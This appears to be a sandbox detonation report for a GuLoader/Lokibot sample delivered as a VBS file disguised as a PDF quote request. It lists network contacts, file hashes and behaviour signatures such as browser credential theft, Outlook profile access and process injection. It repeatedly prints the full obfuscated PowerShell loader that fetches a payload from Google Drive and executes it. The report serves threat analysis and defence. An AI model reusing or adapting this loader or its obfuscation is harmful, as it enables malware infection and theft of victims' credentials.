ieoD,monB Minea vet LB rgo:VldedtNou.eAEx anl Platl edbaSExacteBogfiSM lli=K pre(Thi,ut sek,ECourtSStemmtpurre-WritePDatosAReoleTU,ivah Bru Elvr$Hya,ot consaAtlanLSkolekRgto,iProgrnimmung.dluf)Lufth ');while (!$Tallses) {Illuminate (benignant 'Erst $traf,gAmo il ehebouns,obIgraiaChinqlMunds:MokkaHEnr,boSub bbStyggeadsti=Skriv$Acr.ntEmpowr .alcuKuf,yeEll t ') ;Illuminate $Sensationelt;Illuminate (benignant 'TermiSPhalatSkidtaHeterrMercitBusga- Bo mSFire lLiguseSpasmeLowripwight Spl 4 ,elt ');Illuminate (benignant ' Juba$SnydegMintmlNemo,oSub ubShil,a s ltlMicro:PhasiTG ecia issolAnnihlInseqsPrehyeD ynasKonkr=Unsta( all,TMalade.raves ntictFrugt- EighPYamaha tontS roghk ige Resil$HrderT Traba PolylArtikk luksi ResonUde ogdybtr)S,ive ') ;Illuminate (benignant 'Tren.$eftergAna.tlHenveoCluppbSva.taTermilUdvok:HaandESmr ecUns ic UnadlCopro=Udbrn$ De,tg Sr elHjtidoNabovbAds rateks lMenuk:OverwBSkyenu Gra n Is skZe ue+Idole+ Band%Unrue$I,tfaHInstroHummemNaunto AfskiDimoloAflveuSansesIglooiMedi.aSnd rnSinog.Budg cSalvio.lankuForgrnVestetIndav ') ;$Sympathising=$Homoiousian[$Eccl];}$Pariasaurus=286978;$drumheads=29373;Illuminate (benignant 'Strum$ ircugFugitl Elpro Skilbbant aUn,unlakkor:ma,gfFTsader ReveeOddsee verrlFeereo,lattaMinimdKn cke kulsdPsyke Venst=Jehus Pr,buG AppeeAngivtSpect-fagk C Z,dloCu icnOverptUnde eFlnsen onsatPe rl Stran$Iden,TsphenaBibetlBl etkSubcuiLvensnSkuffg Ty o ');Illuminate (benignant 'Te ri$OpkasgGlycol andioCuckqbEncepaBirkelSkema: Su,uDSyncheMonishChattysynondflyverDesigoTeolog Indhe gambnspecia CapttLame,eReforseksek Sigtn= eobj Skrif[ BephSGedebyUdspisK nemtJeaneeNightmBehan.FolkeC VedioBarben Paa v okose Unorrdiamat ump] Leuc:Uover: mhttFDa bcrtrimpo ,agemPhyllBGumwoa ntrsT.alpeRevan6Stjyl4 FuseS .roetDatabr Dan iAbonnn GrizgSolso( ndes$ForbiFseriorrddikeTele eKurvfl,likkoAsfreaLyco dKnatte Gidsds rec)Nedri ');Illuminate (benignant 'Stret$DrikkgIna,gl Chamo ThunbTapl aTi hel Flym: EvneMU pinoFodsvn AutoaMedbesZulubtimpreeCru,brUnfraiRun sa IntelskimmlStokry.demo myt,l=Pseud Shera[unadoSA timyPr ntsCaseltKuvereScreemTryki.R,gneTFir ee eillxcypritSk.ve.SallyE atinTortucUnderoMikr d Dea iL.tmenJellig Over]Indbi:Achen:Inve,ACome SPlutoCTankeISmi eI Pjat.AfledGTil ne PlustFalkoS.ontrtDilapr ntesiin ldn kvalgButan( Bunk$ ClifDTropaeSkaanh SoleyAmanudFyldnrUnderoSlaskgExotieCryptnAntigaoverpt Ved eSllersD ase)Skrum ');Illuminate (benignant 'Spist$HomoggFusspltilskoBoundbDurabaSnufflHplas:Ka muE FraglSpectoMavefrFor igWhik,lS,tsseSkattt InulsAfskr= Maes$SidesMIntrao enannCykelaStikpsUdfldtTow.leRestirMegatiUvanea.esorl Selvlarbe.yUndet.Wit,asSem nuFlag bCen tsAdenot AargrTanghiLangsnFortjgDupli( Ko v$MetodP Pr,ba vulrLngodiYndliaEnsbesM kniaSubdeu Ko fr AftruB agusPrisf, Akk $Tortud.verfr.purguR.dskmNozz.hFjerteAerifaStomad.rbejsTapn,) Vrdi ');Illuminate $Elorglets;"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Polyphobia.chr && echo t"
C:\Program Files (x86)\windows mail\wabmig.exe
"C:\Program Files (x86)\windows mail\wabmig.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 142.250.179.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 142.250.187.225:443 | drive.usercontent.google.com | tcp |
| GB | 142.250.179.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.187.227:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.187.227:80 | o.pki.goog | tcp |
| GB | 142.250.187.225:443 | drive.usercontent.google.com | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
| US | 137.184.191.215:80 | 137.184.191.215 | tcp |
Files
memory/3024-4-0x000007FEF4E4E000-0x000007FEF4E4F000-memory.dmp
memory/3024-5-0x000000001B100000-0x000000001B3E2000-memory.dmp
memory/3024-6-0x00000000025A0000-0x00000000025A8000-memory.dmp
memory/3024-7-0x000007FEF4B90000-0x000007FEF552D000-memory.dmp
memory/3024-8-0x000007FEF4B90000-0x000007FEF552D000-memory.dmp
memory/3024-9-0x000007FEF4B90000-0x000007FEF552D000-memory.dmp
memory/3024-10-0x000007FEF4B90000-0x000007FEF552D000-memory.dmp
memory/3024-11-0x000007FEF4B90000-0x000007FEF552D000-memory.dmp
memory/3024-12-0x000007FEF4B90000-0x000007FEF552D000-memory.dmp
memory/3024-14-0x000007FEF4E4E000-0x000007FEF4E4F000-memory.dmp
memory/3024-15-0x000007FEF4B90000-0x000007FEF552D000-memory.dmp
memory/3024-16-0x000007FEF4B90000-0x000007FEF552D000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NLAFHZXDXJ6FWWNCO2L4.temp
| MD5 | d8c9e190e89746903a71c7469ed96958 |
| SHA1 | ee9f4a4975ab22bd721158b78f0dceee9199c10f |
| SHA256 | e5b8fe793e8f39fea28894c1dbb492490b2f4c57f420e4ed1351419a856f8065 |
| SHA512 | 3cc1dccc48040b1a408199875fcd6b7c74bfa3df76033fc93825c8ab322ede6954e6a5adda28b5f0669ccac2b611bb0edd828cfd7a6f3e26983d2b4d99f43be6 |
C:\Users\Admin\AppData\Roaming\Polyphobia.chr
| MD5 | 8cc3f41f8eb389e168dfefb6c8d3d5e4 |
| SHA1 | 0d9b63c6903242e7b6a8320934109007693a6015 |
| SHA256 | a5ac06222217caee563724a3f4a6198f2db9c8faade6690ca4646a3208e1f4a2 |
| SHA512 | efd21158a60207dc440061b4d20a552a1f2d95d7c559994e3a052911006f25fdddfa6ff251e9e1658276f3f847c8b841ae9bbbac4846383d984209af715ac65c |
memory/2128-21-0x00000000061B0000-0x0000000008D18000-memory.dmp
memory/2188-23-0x0000000000620000-0x0000000003188000-memory.dmp
memory/2188-46-0x0000000000620000-0x0000000003188000-memory.dmp
memory/3024-47-0x000007FEF4B90000-0x000007FEF552D000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-457978338-2990298471-2379561640-1000\0f5007522459c86e95ffcc62f32308f1_7ab03691-fc7c-4787-903d-423aed4b9dc2
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-457978338-2990298471-2379561640-1000\0f5007522459c86e95ffcc62f32308f1_7ab03691-fc7c-4787-903d-423aed4b9dc2
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |
Analysis: behavioral2
Detonation Overview
Submitted
2024-09-17 14:05
Reported
2024-09-17 14:07
Platform
win10v2004-20240802-en
Max time kernel
142s
Max time network
149s
Command Line
Signatures
Guloader,Cloudeye
Lokibot
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2592 set thread context of 4816 | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wabmig.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitud De Presupuesto 09-16-2024·pdf.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Desorganiseredes Pyramideselskab Tjenestevogne Silkesommerfugles #>;$Krogster='Esdragons';<#Repellant Telephonical Islamize Nierens Terrazzo #>;$Corintha=$host.PrivateData;If ($Corintha) {$Allopathically201++;}function benignant($Sopransaxofonernes43){$Disponibel237=$Sopransaxofonernes43.Length-$Allopathically201;for( $Lettende=5;$Lettende -lt $Disponibel237;$Lettende+=6){$Amtshospitalet+=$Sopransaxofonernes43[$Lettende];}$Amtshospitalet;}function Illuminate($Billiggres){ . ($Rewriting) ($Billiggres);}$Kolonneformats=benignant 'FolkeM Nym.opostpzBu uni CololorbiclIdioca abel/ Prot5Ap.ea.Nonim0Ovi.o Dagg (.koldWm ksii Ant.n BraddBaluso nstywCo,kasKad.g ,erstNDistaTCur,i Outsm1Lie,t0skudv.Bj.in0Angul;trlgn tepaWUdkraiHe epnSulte6Skruk4Illum;Outji Haa dxBobbi6 Frem4 atel;Rever BlairrTilbavInstr:Overk1D,eli2 Illa1 Holo.Stick0 Smin) obbe BellyG RemaeOmnorcAvlinkSadomoKontr/Ferti2Angst0uncas1 Mi,g0forpl0 Hume1spge.0 aske1Viki, GulerFbetraiBkkenrR sureUngdofSaturosynsixNa ur/Undga1bar,t2Therm1 D ce.Kamme0Tapre ';$Extensional=benignant 'TrreruAfskaSAltitedisfarCount-SandwaYean.gDisauEstrepnP nsutN,kro ';$Sympathising=benignant 'Betokh Dvrgt L.gwt PolepOejens V.lu:vorac/Myela/T eeddP,ecarKvartiDr,itvTho.seMouss.Andrug ProdoeuthaoskiftgSurhelRend.eAvert.SeawecPlu boInburm Biks/NeminuSleekcSkade?Arr seKanalxMidstpKon po cyklrHu kotTen e=AgathdStadso Bellw nemn kriglStetsoRetinaSkelsdmonni&Antiqi SheddIndls= Tite1 Sept1 Bensb notfYVillauDem,bWDe urRA fgasLydig1platiL tpa_ PagawSkrmmOAtricpOrlo PFradrqspareqElegiqSe.tenOs meBHel e2tagdk1Vaads7UnmoriFamesq Induq BolszEgoceWAffalaScorpASeman5 Navn7 Supe6Fljet ';$Somberly=benignant 'R,con>Svine ';$Rewriting=benignant 'Sger.ISpeirE podoxMasse ';$argusblikkenes='Seeress';$skrvebetonerne = benignant 'dagpaeNaur.cDura.h arifoBlaap skrin%Mond,a,repppEkspepBlackdTransa intt Vella mona%A.tin\ detaPO hreoForeclantifyMeninpch orhAffalojo rnbMotoriLokuma nuti.rallecSvimlhScopor Cher Klokk&Isopa&tanks Amy oeSoltrcHoflehBruseoPr co Over,tFuppe ';Illuminate (benignant 'Aircr$SkrumgSanselRegeno Vamob h nka DemolSmelt:FogleJFortioTripuuInte rExpednInc ia K mnlPara.iTilsmsUnappewishbrConfee Naugn AricdErotoeT lst=Unm s(RyotscB,achmGlacid Varm Udpan/AnkomcPlump Decli$F ingspassikOrthor An tvWheyseNoncobD.tabeUndertRoul,oDemilnAcci eSuperr kelenExtraeSpild)St,rs ');Illuminate (benignant 'Farin$BetjegFelo.lFors oGevrkbWife aSubtrlTolkn:FilmeHAtwiroFolsomO yceoUltraioverroAdvaruOs,eosSammeiSc.weaVaricnEks.a=Bisam$Bit eS Modey Anc mmi impReperaBystyt Su ehTrevliCaphisMrkvri N genEgotrgU sti. bibls Ory p KraflSubmaigraphtDusse(Sashe$ Mo fSa chooL.nirm lsgrb arneeOverbrMurrslAdelsydanma)Maldi ');Illuminate (benignant 'Karto[Ursk NAtombeS ntit Ned .Alie.SFradre BlehrSyva,vMezaiiOvertcAlligeGrim,PWauchoWhangiP,olenper otSelvhMEgbata unden lskva an,egStosheBryggrImmor]Forha:kod i:Ti.reSDdirreUpflac Phenu Balsr PolyiPr,mit obbeyTeamaPKsendrReap,o randtMnt,eo paltcRett oZealolGless Usvig=Fore Subga[DipnoNEpiple WalltPorce.Afle,S BianeFrottcEternu .uggr.kmtei Allet atmyPens PUniqurForm oUdkketDiseno OligcCineaoEsocilVi ifT SkriyO.erbpWincheBeco.]Rembo:p.esb: ,ickTClauslPel isFildi1Firel2raadg ');$Sympathising=$Homoiousian[0];$Tewing= (benignant 'Hunde$Prelig ,ntilAntidoGenerBComp ATil,tl Ste,:,andsHtetraoVulcaMKrafto T,arNRestsYforfrMunitee poreSTrac = Kaf N B vaEIn erWSheet-Indt O ,odkBBedrijPo teENytaaCAnkehTAgter Hunchsthe.ryForhiSputtaTHave,eBug.pm Yeel.Muz rnByboee CabaTTalep.StormwTrkloE uverbIsog CSpeciLbl myi FaneEMerlon agrat');$Tewing+=$Journaliserende[1];Illuminate ($Tewing);Illuminate (benignant ' Fi a$HornbH FlatoCo ubmForhaoSupern Tegnyeyep mBlikdetnd msSkaal. apilH Evene hecka flstdafsineD pkorJord,sProse[ Misu$chasiETaccaxSprint ynsmeH poan Kel s alici HalooAmicanFi fia redlS.eri]Dawsp=Brneb$ Hie KSuperoHol glAsymmoTilesnHea.en UnhueMela fChadooSk dur F ulmothe aRorpitSi.hos Esco ');$Sensationelt=benignant 'Br,ge$ Mi rHFdr loB,awsmTagetoIsbryn MyteyCromlmcatcheForsaspriv,. SupeD GrinoAp stwFadernBefollFjer oGygesaArtildLeje,FOvermiEnervlUndgaeNati.( O,er$HysteSArea,ySpinamUnaffpNaetha e oit monghResbeiFemogsstr,pi HvornBravagStrik,perse$LrkerT Ramsa ecilCarbokSoliciSup rn Pe cgSvovl)Isdes ';$Talking=$Journaliserende[0];Illuminate (benignant ' aafe$HielaGS igelSh ieoD,monB Minea vet LB rgo:VldedtNou.eAEx anl Platl edbaSExacteBogfiSM lli=K pre(Thi,ut sek,ECourtSStemmtpurre-WritePDatosAReoleTU,ivah Bru Elvr$Hya,ot consaAtlanLSkolekRgto,iProgrnimmung.dluf)Lufth ');while (!$Tallses) {Illuminate (benignant 'Erst $traf,gAmo il ehebouns,obIgraiaChinqlMunds:MokkaHEnr,boSub bbStyggeadsti=Skriv$Acr.ntEmpowr .alcuKuf,yeEll t ') ;Illuminate $Sensationelt;Illuminate (benignant 'TermiSPhalatSkidtaHeterrMercitBusga- Bo mSFire lLiguseSpasmeLowripwight Spl 4 ,elt ');Illuminate (benignant ' Juba$SnydegMintmlNemo,oSub ubShil,a s ltlMicro:PhasiTG ecia issolAnnihlInseqsPrehyeD ynasKonkr=Unsta( all,TMalade.raves ntictFrugt- EighPYamaha tontS roghk ige Resil$HrderT Traba PolylArtikk luksi ResonUde ogdybtr)S,ive ') ;Illuminate (benignant 'Tren.$eftergAna.tlHenveoCluppbSva.taTermilUdvok:HaandESmr ecUns ic UnadlCopro=Udbrn$ De,tg Sr elHjtidoNabovbAds rateks lMenuk:OverwBSkyenu Gra n Is skZe ue+Idole+ Band%Unrue$I,tfaHInstroHummemNaunto AfskiDimoloAflveuSansesIglooiMedi.aSnd rnSinog.Budg cSalvio.lankuForgrnVestetIndav ') ;$Sympathising=$Homoiousian[$Eccl];}$Pariasaurus=286978;$drumheads=29373;Illuminate (benignant 'Strum$ ircugFugitl Elpro Skilbbant aUn,unlakkor:ma,gfFTsader ReveeOddsee verrlFeereo,lattaMinimdKn cke kulsdPsyke Venst=Jehus Pr,buG AppeeAngivtSpect-fagk C Z,dloCu icnOverptUnde eFlnsen onsatPe rl Stran$Iden,TsphenaBibetlBl etkSubcuiLvensnSkuffg Ty o ');Illuminate (benignant 'Te ri$OpkasgGlycol andioCuckqbEncepaBirkelSkema: Su,uDSyncheMonishChattysynondflyverDesigoTeolog Indhe gambnspecia CapttLame,eReforseksek Sigtn= eobj Skrif[ BephSGedebyUdspisK nemtJeaneeNightmBehan.FolkeC VedioBarben Paa v okose Unorrdiamat ump] Leuc:Uover: mhttFDa bcrtrimpo ,agemPhyllBGumwoa ntrsT.alpeRevan6Stjyl4 FuseS .roetDatabr Dan iAbonnn GrizgSolso( ndes$ForbiFseriorrddikeTele eKurvfl,likkoAsfreaLyco dKnatte Gidsds rec)Nedri ');Illuminate (benignant 'Stret$DrikkgIna,gl Chamo ThunbTapl aTi hel Flym: EvneMU pinoFodsvn AutoaMedbesZulubtimpreeCru,brUnfraiRun sa IntelskimmlStokry.demo myt,l=Pseud Shera[unadoSA timyPr ntsCaseltKuvereScreemTryki.R,gneTFir ee eillxcypritSk.ve.SallyE atinTortucUnderoMikr d Dea iL.tmenJellig Over]Indbi:Achen:Inve,ACome SPlutoCTankeISmi eI Pjat.AfledGTil ne PlustFalkoS.ontrtDilapr ntesiin ldn kvalgButan( Bunk$ ClifDTropaeSkaanh SoleyAmanudFyldnrUnderoSlaskgExotieCryptnAntigaoverpt Ved eSllersD ase)Skrum ');Illuminate (benignant 'Spist$HomoggFusspltilskoBoundbDurabaSnufflHplas:Ka muE FraglSpectoMavefrFor igWhik,lS,tsseSkattt InulsAfskr= Maes$SidesMIntrao enannCykelaStikpsUdfldtTow.leRestirMegatiUvanea.esorl Selvlarbe.yUndet.Wit,asSem nuFlag bCen tsAdenot AargrTanghiLangsnFortjgDupli( Ko v$MetodP Pr,ba vulrLngodiYndliaEnsbesM kniaSubdeu Ko fr AftruB agusPrisf, Akk $Tortud.verfr.purguR.dskmNozz.hFjerteAerifaStomad.rbejsTapn,) Vrdi ');Illuminate $Elorglets;"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Polyphobia.chr && echo t"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Desorganiseredes Pyramideselskab Tjenestevogne Silkesommerfugles #>;$Krogster='Esdragons';<#Repellant Telephonical Islamize Nierens Terrazzo #>;$Corintha=$host.PrivateData;If ($Corintha) {$Allopathically201++;}function benignant($Sopransaxofonernes43){$Disponibel237=$Sopransaxofonernes43.Length-$Allopathically201;for( $Lettende=5;$Lettende -lt $Disponibel237;$Lettende+=6){$Amtshospitalet+=$Sopransaxofonernes43[$Lettende];}$Amtshospitalet;}function Illuminate($Billiggres){ . ($Rewriting) ($Billiggres);}$Kolonneformats=benignant 'FolkeM Nym.opostpzBu uni CololorbiclIdioca abel/ Prot5Ap.ea.Nonim0Ovi.o Dagg (.koldWm ksii Ant.n BraddBaluso nstywCo,kasKad.g ,erstNDistaTCur,i Outsm1Lie,t0skudv.Bj.in0Angul;trlgn tepaWUdkraiHe epnSulte6Skruk4Illum;Outji Haa dxBobbi6 Frem4 atel;Rever BlairrTilbavInstr:Overk1D,eli2 Illa1 Holo.Stick0 Smin) obbe BellyG RemaeOmnorcAvlinkSadomoKontr/Ferti2Angst0uncas1 Mi,g0forpl0 Hume1spge.0 aske1Viki, GulerFbetraiBkkenrR sureUngdofSaturosynsixNa ur/Undga1bar,t2Therm1 D ce.Kamme0Tapre ';$Extensional=benignant 'TrreruAfskaSAltitedisfarCount-SandwaYean.gDisauEstrepnP nsutN,kro ';$Sympathising=benignant 'Betokh Dvrgt L.gwt PolepOejens V.lu:vorac/Myela/T eeddP,ecarKvartiDr,itvTho.seMouss.Andrug ProdoeuthaoskiftgSurhelRend.eAvert.SeawecPlu boInburm Biks/NeminuSleekcSkade?Arr seKanalxMidstpKon po cyklrHu kotTen e=AgathdStadso Bellw nemn kriglStetsoRetinaSkelsdmonni&Antiqi SheddIndls= Tite1 Sept1 Bensb notfYVillauDem,bWDe urRA fgasLydig1platiL tpa_ PagawSkrmmOAtricpOrlo PFradrqspareqElegiqSe.tenOs meBHel e2tagdk1Vaads7UnmoriFamesq Induq BolszEgoceWAffalaScorpASeman5 Navn7 Supe6Fljet ';$Somberly=benignant 'R,con>Svine ';$Rewriting=benignant 'Sger.ISpeirE podoxMasse ';$argusblikkenes='Seeress';$skrvebetonerne = benignant 'dagpaeNaur.cDura.h arifoBlaap skrin%Mond,a,repppEkspepBlackdTransa intt Vella mona%A.tin\ detaPO hreoForeclantifyMeninpch orhAffalojo rnbMotoriLokuma nuti.rallecSvimlhScopor Cher Klokk&Isopa&tanks Amy oeSoltrcHoflehBruseoPr co Over,tFuppe ';Illuminate (benignant 'Aircr$SkrumgSanselRegeno Vamob h nka DemolSmelt:FogleJFortioTripuuInte rExpednInc ia K mnlPara.iTilsmsUnappewishbrConfee Naugn AricdErotoeT lst=Unm s(RyotscB,achmGlacid Varm Udpan/AnkomcPlump Decli$F ingspassikOrthor An tvWheyseNoncobD.tabeUndertRoul,oDemilnAcci eSuperr kelenExtraeSpild)St,rs ');Illuminate (benignant 'Farin$BetjegFelo.lFors oGevrkbWife aSubtrlTolkn:FilmeHAtwiroFolsomO yceoUltraioverroAdvaruOs,eosSammeiSc.weaVaricnEks.a=Bisam$Bit eS Modey Anc mmi impReperaBystyt Su ehTrevliCaphisMrkvri N genEgotrgU sti. bibls Ory p KraflSubmaigraphtDusse(Sashe$ Mo fSa chooL.nirm lsgrb arneeOverbrMurrslAdelsydanma)Maldi ');Illuminate (benignant 'Karto[Ursk NAtombeS ntit Ned .Alie.SFradre BlehrSyva,vMezaiiOvertcAlligeGrim,PWauchoWhangiP,olenper otSelvhMEgbata unden lskva an,egStosheBryggrImmor]Forha:kod i:Ti.reSDdirreUpflac Phenu Balsr PolyiPr,mit obbeyTeamaPKsendrReap,o randtMnt,eo paltcRett oZealolGless Usvig=Fore Subga[DipnoNEpiple WalltPorce.Afle,S BianeFrottcEternu .uggr.kmtei Allet atmyPens PUniqurForm oUdkketDiseno OligcCineaoEsocilVi ifT SkriyO.erbpWincheBeco.]Rembo:p.esb: ,ickTClauslPel isFildi1Firel2raadg ');$Sympathising=$Homoiousian[0];$Tewing= (benignant 'Hunde$Prelig ,ntilAntidoGenerBComp ATil,tl Ste,:,andsHtetraoVulcaMKrafto T,arNRestsYforfrMunitee poreSTrac = Kaf N B vaEIn erWSheet-Indt O ,odkBBedrijPo teENytaaCAnkehTAgter Hunchsthe.ryForhiSputtaTHave,eBug.pm Yeel.Muz rnByboee CabaTTalep.StormwTrkloE uverbIsog CSpeciLbl myi FaneEMerlon agrat');$Tewing+=$Journaliserende[1];Illuminate ($Tewing);Illuminate (benignant ' Fi a$HornbH FlatoCo ubmForhaoSupern Tegnyeyep mBlikdetnd msSkaal. apilH Evene hecka flstdafsineD pkorJord,sProse[ Misu$chasiETaccaxSprint ynsmeH poan Kel s alici HalooAmicanFi fia redlS.eri]Dawsp=Brneb$ Hie KSuperoHol glAsymmoTilesnHea.en UnhueMela fChadooSk dur F ulmothe aRorpitSi.hos Esco ');$Sensationelt=benignant 'Br,ge$ Mi rHFdr loB,awsmTagetoIsbryn MyteyCromlmcatcheForsaspriv,. SupeD GrinoAp stwFadernBefollFjer oGygesaArtildLeje,FOvermiEnervlUndgaeNati.( O,er$HysteSArea,ySpinamUnaffpNaetha e oit monghResbeiFemogsstr,pi HvornBravagStrik,perse$LrkerT Ramsa ecilCarbokSoliciSup rn Pe cgSvovl)Isdes ';$Talking=$Journaliserende[0];Illuminate (benignant ' aafe$HielaGS igelSh ieoD,monB Minea vet LB rgo:VldedtNou.eAEx anl Platl edbaSExacteBogfiSM lli=K pre(Thi,ut sek,ECourtSStemmtpurre-WritePDatosAReoleTU,ivah Bru Elvr$Hya,ot consaAtlanLSkolekRgto,iProgrnimmung.dluf)Lufth ');while (!$Tallses) {Illuminate (benignant 'Erst $traf,gAmo il ehebouns,obIgraiaChinqlMunds:MokkaHEnr,boSub bbStyggeadsti=Skriv$Acr.ntEmpowr .alcuKuf,yeEll t ') ;Illuminate $Sensationelt;Illuminate (benignant 'TermiSPhalatSkidtaHeterrMercitBusga- Bo mSFire lLiguseSpasmeLowripwight Spl 4 ,elt ');Illuminate (benignant ' Juba$SnydegMintmlNemo,oSub ubShil,a s ltlMicro:PhasiTG ecia issolAnnihlInseqsPrehyeD ynasKonkr=Unsta( all,TMalade.raves ntictFrugt- EighPYamaha tontS roghk ige Resil$HrderT Traba PolylArtikk luksi ResonUde ogdybtr)S,ive ') ;Illuminate (benignant 'Tren.$eftergAna.tlHenveoCluppbSva.taTermilUdvok:HaandESmr ecUns ic UnadlCopro=Udbrn$ De,tg Sr elHjtidoNabovbAds rateks lMenuk:OverwBSkyenu Gra n Is skZe ue+Idole+ Band%Unrue$I,tfaHInstroHummemNaunto AfskiDimoloAflveuSansesIglooiMedi.aSnd rnSinog.Budg cSalvio.lankuForgrnVestetIndav ') ;$Sympathising=$Homoiousian[$Eccl];}$Pariasaurus=286978;$drumheads=29373;Illuminate 